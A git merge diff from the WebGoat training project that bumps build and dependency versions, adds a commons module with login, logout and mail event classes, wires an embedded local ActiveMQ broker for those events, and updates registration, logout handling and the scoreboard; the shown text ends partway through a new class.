Merge remote-tracking branch 'upstream/develop' into develop
@ -4,7 +4,7 @@ jdk:
|
|||||||
install: "/bin/true"
|
install: "/bin/true"
|
||||||
script:
|
script:
|
||||||
- mvn clean install
|
- mvn clean install
|
||||||
- if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" clean install; else mvn clean install; fi
|
- if [[ $TRAVIS_PULL_REQUEST == "false" ]]; then mvn "-Dbuild.number=$TRAVIS_BUILD_NUMBER" clean install -q -Dlogging.config=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-container/src/test/resources/logback-test.xml ; else mvn clean install -q -Dlogging.config=$HOME/build/$TRAVIS_REPO_SLUG/webgoat-container/src/test/resources/logback-test.xml ; fi
|
||||||
cache:
|
cache:
|
||||||
directories:
|
directories:
|
||||||
- $HOME/.m2
|
- $HOME/.m2
|
||||||
|
8
pom.xml
@ -20,7 +20,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-parent</artifactId>
|
<artifactId>spring-boot-starter-parent</artifactId>
|
||||||
<version>1.5.3.RELEASE</version>
|
<version>1.5.5.RELEASE</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<licenses>
|
<licenses>
|
||||||
@ -130,7 +130,6 @@
|
|||||||
<commons-fileupload.version>1.3.1</commons-fileupload.version>
|
<commons-fileupload.version>1.3.1</commons-fileupload.version>
|
||||||
<commons-io.version>2.4</commons-io.version>
|
<commons-io.version>2.4</commons-io.version>
|
||||||
<commons-lang3.version>3.4</commons-lang3.version>
|
<commons-lang3.version>3.4</commons-lang3.version>
|
||||||
<commons-logging.version>1.2</commons-logging.version>
|
|
||||||
<coveralls-maven-plugin.version>4.0.0</coveralls-maven-plugin.version>
|
<coveralls-maven-plugin.version>4.0.0</coveralls-maven-plugin.version>
|
||||||
<gatling.version>2.2.5</gatling.version>
|
<gatling.version>2.2.5</gatling.version>
|
||||||
<gatling-plugin.version>2.2.4</gatling-plugin.version>
|
<gatling-plugin.version>2.2.4</gatling-plugin.version>
|
||||||
@ -146,7 +145,6 @@
|
|||||||
<jstl.version>1.2</jstl.version>
|
<jstl.version>1.2</jstl.version>
|
||||||
<jtds.version>1.3.1</jtds.version>
|
<jtds.version>1.3.1</jtds.version>
|
||||||
<junit.version>4.12</junit.version>
|
<junit.version>4.12</junit.version>
|
||||||
<log4j.version>1.2.17</log4j.version>
|
|
||||||
<mail-api.version>1.5.4</mail-api.version>
|
<mail-api.version>1.5.4</mail-api.version>
|
||||||
<maven-compiler-plugin.version>3.3</maven-compiler-plugin.version>
|
<maven-compiler-plugin.version>3.3</maven-compiler-plugin.version>
|
||||||
<maven-failsafe-plugin.version>2.19</maven-failsafe-plugin.version>
|
<maven-failsafe-plugin.version>2.19</maven-failsafe-plugin.version>
|
||||||
@ -160,8 +158,6 @@
|
|||||||
<scala.version>2.11.7</scala.version>
|
<scala.version>2.11.7</scala.version>
|
||||||
<sauce_junit.version>2.1.20</sauce_junit.version>
|
<sauce_junit.version>2.1.20</sauce_junit.version>
|
||||||
<selenium-java.version>2.48.2</selenium-java.version>
|
<selenium-java.version>2.48.2</selenium-java.version>
|
||||||
<slf4j-api.version>1.7.12</slf4j-api.version>
|
|
||||||
<slf4j-log4j12.version>1.7.12</slf4j-log4j12.version>
|
|
||||||
<spring.security.version>3.2.4.RELEASE</spring.security.version>
|
<spring.security.version>3.2.4.RELEASE</spring.security.version>
|
||||||
<standard.version>1.1.2</standard.version>
|
<standard.version>1.1.2</standard.version>
|
||||||
<tiles.version>3.0.5</tiles.version>
|
<tiles.version>3.0.5</tiles.version>
|
||||||
@ -172,9 +168,11 @@
|
|||||||
</properties>
|
</properties>
|
||||||
|
|
||||||
<modules>
|
<modules>
|
||||||
|
<module>webgoat-commons</module>
|
||||||
<module>webgoat-container</module>
|
<module>webgoat-container</module>
|
||||||
<module>webgoat-lessons</module>
|
<module>webgoat-lessons</module>
|
||||||
<module>webgoat-server</module>
|
<module>webgoat-server</module>
|
||||||
|
<module>webwolf</module>
|
||||||
</modules>
|
</modules>
|
||||||
|
|
||||||
<distributionManagement>
|
<distributionManagement>
|
||||||
|
37
webgoat-commons/pom.xml
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<artifactId>webgoat-commons</artifactId>
|
||||||
|
<packaging>jar</packaging>
|
||||||
|
<parent>
|
||||||
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
|
<artifactId>webgoat-parent</artifactId>
|
||||||
|
<version>8.0-SNAPSHOT</version>
|
||||||
|
</parent>
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.projectlombok</groupId>
|
||||||
|
<artifactId>lombok</artifactId>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
<build>
|
||||||
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-compiler-plugin</artifactId>
|
||||||
|
<version>${maven-compiler-plugin.version}</version>
|
||||||
|
<configuration>
|
||||||
|
<source>1.8</source>
|
||||||
|
<target>1.8</target>
|
||||||
|
<encoding>ISO-8859-1</encoding>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
</build>
|
||||||
|
|
||||||
|
|
||||||
|
</project>
|
@ -0,0 +1,15 @@
|
|||||||
|
package org.owasp.webgoat.login;
|
||||||
|
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/20/17.
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@AllArgsConstructor
|
||||||
|
public class LoginEvent {
|
||||||
|
private String user;
|
||||||
|
private String cookie;
|
||||||
|
}
|
@ -0,0 +1,14 @@
|
|||||||
|
package org.owasp.webgoat.login;
|
||||||
|
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/20/17.
|
||||||
|
*/
|
||||||
|
@AllArgsConstructor
|
||||||
|
@Data
|
||||||
|
public class LogoutEvent {
|
||||||
|
private String user;
|
||||||
|
}
|
@ -0,0 +1,21 @@
|
|||||||
|
package org.owasp.webgoat.mail;
|
||||||
|
|
||||||
|
import lombok.Builder;
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
import java.time.LocalDateTime;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/20/17.
|
||||||
|
*/
|
||||||
|
@Builder
|
||||||
|
@Data
|
||||||
|
public class IncomingMailEvent {
|
||||||
|
|
||||||
|
private LocalDateTime time;
|
||||||
|
private String contents;
|
||||||
|
private String sender;
|
||||||
|
private String title;
|
||||||
|
private String recipient;
|
||||||
|
}
|
@ -34,6 +34,23 @@
|
|||||||
</plugins>
|
</plugins>
|
||||||
</build>
|
</build>
|
||||||
</profile>
|
</profile>
|
||||||
|
<profile>
|
||||||
|
<id>local</id>
|
||||||
|
<activation>
|
||||||
|
<activeByDefault>true</activeByDefault>
|
||||||
|
</activation>
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>de.flapdoodle.embed</groupId>
|
||||||
|
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
|
||||||
|
</profile>
|
||||||
|
<profile>
|
||||||
|
<id>ctf</id>
|
||||||
|
<!-- Connect to real mongodb -->
|
||||||
|
</profile>
|
||||||
|
|
||||||
</profiles>
|
</profiles>
|
||||||
|
|
||||||
@ -132,6 +149,19 @@
|
|||||||
</build>
|
</build>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
|
<artifactId>webgoat-commons</artifactId>
|
||||||
|
<version>${project.version}</version>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>com.fasterxml.jackson.datatype</groupId>
|
||||||
|
<artifactId>jackson-datatype-jsr310</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.projectlombok</groupId>
|
||||||
|
<artifactId>lombok</artifactId>
|
||||||
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.projectlombok</groupId>
|
<groupId>org.projectlombok</groupId>
|
||||||
<artifactId>lombok</artifactId>
|
<artifactId>lombok</artifactId>
|
||||||
@ -144,6 +174,19 @@
|
|||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-actuator</artifactId>
|
<artifactId>spring-boot-starter-actuator</artifactId>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-starter-cache</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework.boot</groupId>
|
||||||
|
<artifactId>spring-boot-starter-activemq</artifactId>
|
||||||
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.springframework</groupId>
|
||||||
|
<artifactId>spring-jms</artifactId>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.asciidoctor</groupId>
|
<groupId>org.asciidoctor</groupId>
|
||||||
<artifactId>asciidoctorj</artifactId>
|
<artifactId>asciidoctorj</artifactId>
|
||||||
@ -153,10 +196,6 @@
|
|||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-data-mongodb</artifactId>
|
<artifactId>spring-boot-starter-data-mongodb</artifactId>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
|
||||||
<groupId>de.flapdoodle.embed</groupId>
|
|
||||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
|
||||||
</dependency>
|
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.apache.commons</groupId>
|
<groupId>org.apache.commons</groupId>
|
||||||
<artifactId>commons-lang3</artifactId>
|
<artifactId>commons-lang3</artifactId>
|
||||||
|
@ -1,11 +1,24 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import org.owasp.webgoat.login.LoginEvent;
|
||||||
import org.owasp.webgoat.session.Course;
|
import org.owasp.webgoat.session.Course;
|
||||||
|
import org.owasp.webgoat.users.WebGoatUser;
|
||||||
|
import org.springframework.jms.core.JmsTemplate;
|
||||||
|
import org.springframework.security.core.Authentication;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMethod;
|
import org.springframework.web.bind.annotation.RequestMethod;
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
|
||||||
|
import javax.servlet.http.Cookie;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.util.Optional;
|
||||||
|
|
||||||
|
import static java.util.Optional.empty;
|
||||||
|
import static java.util.Optional.of;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* *************************************************************************************************
|
* *************************************************************************************************
|
||||||
* <p>
|
* <p>
|
||||||
@ -41,19 +54,38 @@ import org.springframework.web.servlet.ModelAndView;
|
|||||||
* @since October 28, 2003
|
* @since October 28, 2003
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
|
@AllArgsConstructor
|
||||||
public class HammerHead {
|
public class HammerHead {
|
||||||
|
|
||||||
private final Course course;
|
private final Course course;
|
||||||
|
private JmsTemplate jmsTemplate;
|
||||||
public HammerHead(Course course) {
|
|
||||||
this.course = course;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Entry point for WebGoat, redirects to the first lesson found within the course.
|
* Entry point for WebGoat, redirects to the first lesson found within the course.
|
||||||
*/
|
*/
|
||||||
@RequestMapping(path = "/attack", method = {RequestMethod.GET, RequestMethod.POST})
|
@RequestMapping(path = "/attack", method = {RequestMethod.GET, RequestMethod.POST})
|
||||||
public ModelAndView attack() {
|
public ModelAndView attack(Authentication authentication, HttpServletRequest request, HttpServletResponse response) {
|
||||||
|
sendUserLoggedInMessage(request, response, authentication);
|
||||||
return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
|
return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void sendUserLoggedInMessage(HttpServletRequest request, HttpServletResponse response, Authentication authentication) {
|
||||||
|
WebGoatUser user = (WebGoatUser) authentication.getPrincipal();
|
||||||
|
getWebGoatCookie(request).ifPresent(c -> {
|
||||||
|
jmsTemplate.convertAndSend("webgoat", new LoginEvent(user.getUsername(), c.getValue()), m -> {
|
||||||
|
m.setStringProperty("type", LoginEvent.class.getSimpleName());
|
||||||
|
return m;
|
||||||
|
}
|
||||||
|
);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private Optional<Cookie> getWebGoatCookie(HttpServletRequest request) {
|
||||||
|
for (Cookie c : request.getCookies()) {
|
||||||
|
if (c.getName().equals("JSESSIONID")) {
|
||||||
|
return of(c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return empty();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -0,0 +1,35 @@
|
|||||||
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||||
|
import org.apache.activemq.broker.BrokerService;
|
||||||
|
import org.springframework.context.annotation.Bean;
|
||||||
|
import org.springframework.context.annotation.Configuration;
|
||||||
|
import org.springframework.jms.support.converter.MappingJackson2MessageConverter;
|
||||||
|
import org.springframework.jms.support.converter.MessageConverter;
|
||||||
|
import org.springframework.jms.support.converter.MessageType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/20/17.
|
||||||
|
*/
|
||||||
|
@Configuration
|
||||||
|
public class JmsConfig {
|
||||||
|
|
||||||
|
@Bean(initMethod = "start", destroyMethod = "stop")
|
||||||
|
public BrokerService broker() throws Exception {
|
||||||
|
final BrokerService broker = new BrokerService();
|
||||||
|
broker.addConnector("tcp://localhost:61616");
|
||||||
|
broker.addConnector("vm://localhost");
|
||||||
|
broker.setPersistent(false);
|
||||||
|
return broker;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Bean
|
||||||
|
public MessageConverter jacksonJmsMessageConverter(ObjectMapper objectMapper) {
|
||||||
|
MappingJackson2MessageConverter converter = new MappingJackson2MessageConverter();
|
||||||
|
converter.setTargetType(MessageType.TEXT);
|
||||||
|
converter.setObjectMapper(objectMapper);
|
||||||
|
converter.setTypeIdPropertyName("_type");
|
||||||
|
return converter;
|
||||||
|
}
|
||||||
|
}
|
@ -39,11 +39,9 @@ import org.owasp.webgoat.session.LabelDebugger;
|
|||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.beans.factory.annotation.Qualifier;
|
import org.springframework.beans.factory.annotation.Qualifier;
|
||||||
import org.springframework.context.ApplicationContext;
|
import org.springframework.context.ApplicationContext;
|
||||||
import org.springframework.context.MessageSource;
|
|
||||||
import org.springframework.context.annotation.Bean;
|
import org.springframework.context.annotation.Bean;
|
||||||
import org.springframework.context.annotation.Configuration;
|
import org.springframework.context.annotation.Configuration;
|
||||||
import org.springframework.core.io.ResourceLoader;
|
import org.springframework.core.io.ResourceLoader;
|
||||||
import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean;
|
|
||||||
import org.springframework.web.servlet.LocaleResolver;
|
import org.springframework.web.servlet.LocaleResolver;
|
||||||
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
|
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
|
||||||
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
|
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
|
||||||
@ -154,13 +152,9 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
|
|||||||
return slr;
|
return slr;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Bean
|
|
||||||
public HammerHead hammerHead(Course course) {
|
|
||||||
return new HammerHead(course);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Bean
|
@Bean
|
||||||
public LabelDebugger labelDebugger() {
|
public LabelDebugger labelDebugger() {
|
||||||
return new LabelDebugger();
|
return new LabelDebugger();
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
@ -30,7 +30,6 @@
|
|||||||
*/
|
*/
|
||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import com.fasterxml.jackson.annotation.JsonInclude;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.apache.catalina.Context;
|
import org.apache.catalina.Context;
|
||||||
import org.owasp.webgoat.plugins.PluginEndpointPublisher;
|
import org.owasp.webgoat.plugins.PluginEndpointPublisher;
|
||||||
@ -49,10 +48,8 @@ import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletCon
|
|||||||
import org.springframework.boot.web.support.SpringBootServletInitializer;
|
import org.springframework.boot.web.support.SpringBootServletInitializer;
|
||||||
import org.springframework.context.ApplicationContext;
|
import org.springframework.context.ApplicationContext;
|
||||||
import org.springframework.context.annotation.Bean;
|
import org.springframework.context.annotation.Bean;
|
||||||
import org.springframework.context.annotation.Primary;
|
|
||||||
import org.springframework.context.annotation.Scope;
|
import org.springframework.context.annotation.Scope;
|
||||||
import org.springframework.context.annotation.ScopedProxyMode;
|
import org.springframework.context.annotation.ScopedProxyMode;
|
||||||
import org.springframework.http.converter.json.Jackson2ObjectMapperBuilder;
|
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
@ -70,15 +67,6 @@ public class WebGoat extends SpringBootServletInitializer {
|
|||||||
SpringApplication.run(WebGoat.class, args);
|
SpringApplication.run(WebGoat.class, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Bean
|
|
||||||
@Primary
|
|
||||||
public Jackson2ObjectMapperBuilder jacksonBuilder() {
|
|
||||||
Jackson2ObjectMapperBuilder builder = new Jackson2ObjectMapperBuilder();
|
|
||||||
builder.indentOutput(true);
|
|
||||||
builder.serializationInclusion(JsonInclude.Include.NON_NULL);
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Bean(name = "pluginTargetDirectory")
|
@Bean(name = "pluginTargetDirectory")
|
||||||
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
|
public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) {
|
||||||
return new File(webgoatHome);
|
return new File(webgoatHome);
|
||||||
@ -93,7 +81,7 @@ public class WebGoat extends SpringBootServletInitializer {
|
|||||||
@Bean
|
@Bean
|
||||||
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
|
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
|
||||||
public UserSessionData userSessionData() {
|
public UserSessionData userSessionData() {
|
||||||
return new UserSessionData("test","data");
|
return new UserSessionData("test", "data");
|
||||||
}
|
}
|
||||||
|
|
||||||
@Bean
|
@Bean
|
||||||
|
@ -31,6 +31,7 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
|
import org.owasp.webgoat.login.LogoutHandler;
|
||||||
import org.owasp.webgoat.users.UserService;
|
import org.owasp.webgoat.users.UserService;
|
||||||
import org.springframework.beans.factory.annotation.Autowired;
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.context.annotation.Bean;
|
import org.springframework.context.annotation.Bean;
|
||||||
@ -52,6 +53,7 @@ import org.springframework.security.core.userdetails.UserDetailsService;
|
|||||||
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
||||||
|
|
||||||
private final UserService userDetailsService;
|
private final UserService userDetailsService;
|
||||||
|
private final LogoutHandler logoutHandler;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void configure(HttpSecurity http) throws Exception {
|
protected void configure(HttpSecurity http) throws Exception {
|
||||||
@ -69,8 +71,8 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
|
|||||||
.passwordParameter("password")
|
.passwordParameter("password")
|
||||||
.permitAll();
|
.permitAll();
|
||||||
security.and()
|
security.and()
|
||||||
.logout()
|
.logout().deleteCookies("JSESSIONID").invalidateHttpSession(true)
|
||||||
.permitAll();
|
.permitAll().logoutSuccessHandler(logoutHandler);
|
||||||
security.and().csrf().disable();
|
security.and().csrf().disable();
|
||||||
|
|
||||||
http.headers().cacheControl().disable();
|
http.headers().cacheControl().disable();
|
||||||
|
@ -108,4 +108,8 @@ public abstract class AssignmentEndpoint extends Endpoint {
|
|||||||
protected AttackResult.AttackResultBuilder failed() {
|
protected AttackResult.AttackResultBuilder failed() {
|
||||||
return AttackResult.builder(messages).lessonCompleted(false).feedback("assignment.not.solved");
|
return AttackResult.builder(messages).lessonCompleted(false).feedback("assignment.not.solved");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
protected AttackResult.AttackResultBuilder informationMessage() {
|
||||||
|
return AttackResult.builder(messages).lessonCompleted(false);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -0,0 +1,47 @@
|
|||||||
|
package org.owasp.webgoat.login;
|
||||||
|
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import org.owasp.webgoat.users.WebGoatUser;
|
||||||
|
import org.springframework.jms.core.JmsTemplate;
|
||||||
|
import org.springframework.security.core.Authentication;
|
||||||
|
import org.springframework.security.web.authentication.logout.SimpleUrlLogoutSuccessHandler;
|
||||||
|
import org.springframework.stereotype.Component;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.Cookie;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.Optional;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/20/17.
|
||||||
|
*/
|
||||||
|
@AllArgsConstructor
|
||||||
|
@Component
|
||||||
|
public class LogoutHandler extends SimpleUrlLogoutSuccessHandler {
|
||||||
|
|
||||||
|
private JmsTemplate jmsTemplate;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onLogoutSuccess(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Authentication authentication) throws IOException, ServletException {
|
||||||
|
if (authentication != null) {
|
||||||
|
WebGoatUser user = (WebGoatUser) authentication.getPrincipal();
|
||||||
|
jmsTemplate.convertAndSend("webgoat", new LogoutEvent(user.getUsername()), m -> {
|
||||||
|
m.setStringProperty("type", LogoutEvent.class.getSimpleName());
|
||||||
|
return m;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
super.onLogoutSuccess(httpServletRequest, httpServletResponse, authentication);
|
||||||
|
}
|
||||||
|
|
||||||
|
private Optional<Cookie> findSessionCookie(Cookie[] cookies) {
|
||||||
|
for (Cookie cookie : cookies) {
|
||||||
|
if ("JSESSIONID".equals(cookie.getName())) {
|
||||||
|
return Optional.of(cookie);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return Optional.empty();
|
||||||
|
}
|
||||||
|
}
|
@ -71,6 +71,7 @@ public class PluginsLoader {
|
|||||||
NewLesson lesson = null;
|
NewLesson lesson = null;
|
||||||
try {
|
try {
|
||||||
lesson = (NewLesson) c.newInstance();
|
lesson = (NewLesson) c.newInstance();
|
||||||
|
log.trace("Lesson loaded: {}", lesson.getId());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
log.error("Error while loading:" + c, e);
|
log.error("Error while loading:" + c, e);
|
||||||
}
|
}
|
||||||
|
@ -1,16 +1,16 @@
|
|||||||
package org.owasp.webgoat.users;
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.security.authentication.AuthenticationManager;
|
import org.springframework.security.authentication.AuthenticationManager;
|
||||||
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
|
|
||||||
import org.springframework.security.core.context.SecurityContextHolder;
|
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.validation.BindingResult;
|
import org.springframework.validation.BindingResult;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.ModelAttribute;
|
import org.springframework.web.bind.annotation.ModelAttribute;
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.validation.Valid;
|
import javax.validation.Valid;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -32,29 +32,16 @@ public class RegistrationController {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@PostMapping("/register.mvc")
|
@PostMapping("/register.mvc")
|
||||||
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult) {
|
@SneakyThrows
|
||||||
|
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) {
|
||||||
userValidator.validate(userForm, bindingResult);
|
userValidator.validate(userForm, bindingResult);
|
||||||
|
|
||||||
if (bindingResult.hasErrors()) {
|
if (bindingResult.hasErrors()) {
|
||||||
return "registration";
|
return "registration";
|
||||||
}
|
}
|
||||||
userService.addUser(userForm.getUsername(), userForm.getPassword());
|
userService.addUser(userForm.getUsername(), userForm.getPassword());
|
||||||
autologin(userForm.getUsername(), userForm.getPassword());
|
request.login(userForm.getUsername(), userForm.getPassword());
|
||||||
|
|
||||||
return "redirect:/attack";
|
return "redirect:/attack";
|
||||||
}
|
}
|
||||||
|
|
||||||
private void autologin(String username, String password) {
|
|
||||||
WebGoatUser user = userService.loadUserByUsername(username);
|
|
||||||
UsernamePasswordAuthenticationToken usernamePasswordAuthenticationToken = new UsernamePasswordAuthenticationToken(user, password, user.getAuthorities());
|
|
||||||
|
|
||||||
authenticationManager.authenticate(usernamePasswordAuthenticationToken);
|
|
||||||
|
|
||||||
if (usernamePasswordAuthenticationToken.isAuthenticated()) {
|
|
||||||
SecurityContextHolder.getContext().setAuthentication(usernamePasswordAuthenticationToken);
|
|
||||||
log.debug("Login for {} successfully!", username);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -45,10 +45,11 @@ public class Scoreboard {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private List<String> challengesSolved(UserTracker userTracker) {
|
private List<String> challengesSolved(UserTracker userTracker) {
|
||||||
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5");
|
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
|
||||||
return challenges.stream()
|
return challenges.stream()
|
||||||
.map(c -> userTracker.getLessonTracker(c))
|
.map(c -> userTracker.getLessonTracker(c))
|
||||||
.filter(l -> l.isPresent()).map(l -> l.get())
|
.filter(l -> l.isPresent()).map(l -> l.get())
|
||||||
|
.filter(l -> l.isLessonSolved())
|
||||||
.map(l -> l.getLessonName())
|
.map(l -> l.getLessonName())
|
||||||
.map(l -> toLessonTitle(l))
|
.map(l -> toLessonTitle(l))
|
||||||
.collect(Collectors.toList());
|
.collect(Collectors.toList());
|
||||||
|
@ -0,0 +1,21 @@
|
|||||||
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
|
import lombok.AccessLevel;
|
||||||
|
import lombok.AllArgsConstructor;
|
||||||
|
import lombok.Getter;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
import org.springframework.data.annotation.Id;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author nbaars
|
||||||
|
* @since 8/15/17.
|
||||||
|
*/
|
||||||
|
@Getter
|
||||||
|
@AllArgsConstructor
|
||||||
|
